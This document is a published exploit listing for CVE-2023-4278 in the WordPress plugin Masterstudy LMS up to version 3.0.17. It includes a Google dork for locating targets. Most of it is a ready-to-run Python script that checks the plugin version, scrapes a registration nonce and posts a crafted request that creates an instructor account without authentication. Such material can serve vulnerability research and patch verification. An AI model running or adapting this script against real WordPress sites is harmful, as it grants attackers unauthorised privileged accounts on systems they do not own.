WordPress Plugin Masterstudy LMS – 3.0.17 – Unauthenticated Instructor Account Creation
# Exploit Title: Wordpress Plugin Masterstudy LMS - 3.0.17 - Unauthenticated Instructor Account Creation # Google Dork: inurl:/user-public-account # Date: 2023-09-04 # Exploit Author: Revan Arifio # Vendor Homepage: https:/.org/plugins/masterstudy-lms-learning-management-system/ # Version: <= 3.0.17 # Tested on: Windows, Linux # CVE : CVE-2023-4278 import requests import os import re import time banner = """ _______ ________ ___ ___ ___ ____ _ _ ___ ______ ___ / ____\ \ / / ____| |__ \ / _ \__ \|___ \ | || |__ \____ / _ \ | | \ \ / /| |__ ______ ) | | | | ) | __) |_____| || |_ ) | / / (_) | | | \ \/ / | __|______/ /| | | |/ / |__ <______|__ _/ / / / > _ < | |____ \ / | |____ / /_| |_| / /_ ___) | | |/ /_ / / | (_) | \_____| \/ |______| |____|\___/____|____/ |_|____/_/ \___/ ====================================================================================================== || Title : Masterstudy LMS <= 3.0.17 - Unauthenticated Instructor Account Creation || || Author : https://github.com/revan-ar || || Vendor Homepage : https:/wordpress.org/plugins/masterstudy-lms-learning-management-system/ || || Support : https://www.buymeacoffee.com/revan.ar || ====================================================================================================== """ print(banner) # get nonce def get_nonce(target): open_target = requests.get("{}/user-public-account".format(target)) search_nonce = re.search('"stm_lms_register":"(.*?)"', open_target.text) if search_nonce[1] != None: return search_nonce[1] else: print("Failed when getting Nonce :p") # privielege escalation def privesc(target, nonce, username, password, email): req_data = { "user_login":"{}".format(username), "user_email":"{}".format(email), "user_password":"{}".format(password), "user_password_re":"{}".format(password), "become_instructor":True, "privacy_policy":True, "degree":"", "expertize":"", "auditory":"", "additional":[], "additional_instructors":[], "profile_default_fields_for_register":[], "redirect_page":"{}/user-account/".format(target) } start = requests.post("{}/wp-admin/admin-ajax.php?action=stm_lms_register&nonce={}".format(target, nonce), json = req_data) if start.status_code == 200: print("[+] Exploit Success !!") else: print("[+] Exploit Failed :p") # URL target target = input("[+] URL Target: ") print("[+] Starting Exploit") plugin_check = requests.get("{}/wp-content/plugins/masterstudy-lms-learning-management-system/readme.txt".format(target)) plugin_version = re.search("Stable tag: (.+)", plugin_check.text) int_version = plugin_version[1].replace(".", "") time.sleep(1) if int(int_version) < 3018: print("[+] Target is Vulnerable !!") # Credential email = input("[+] Email: ") username = input("[+] Username: ") password = input("[+] Password: ") time.sleep(1) print("[+] Getting Nonce...") get_nonce = get_nonce(target) # Get Nonce if get_nonce != None: print("[+] Success Getting Nonce: {}".format(get_nonce)) time.sleep(1) # Start PrivEsc privesc(target, get_nonce, username, password, email) # ---------------------------------- else: print("[+] Target is NOT Vulnerable :p") |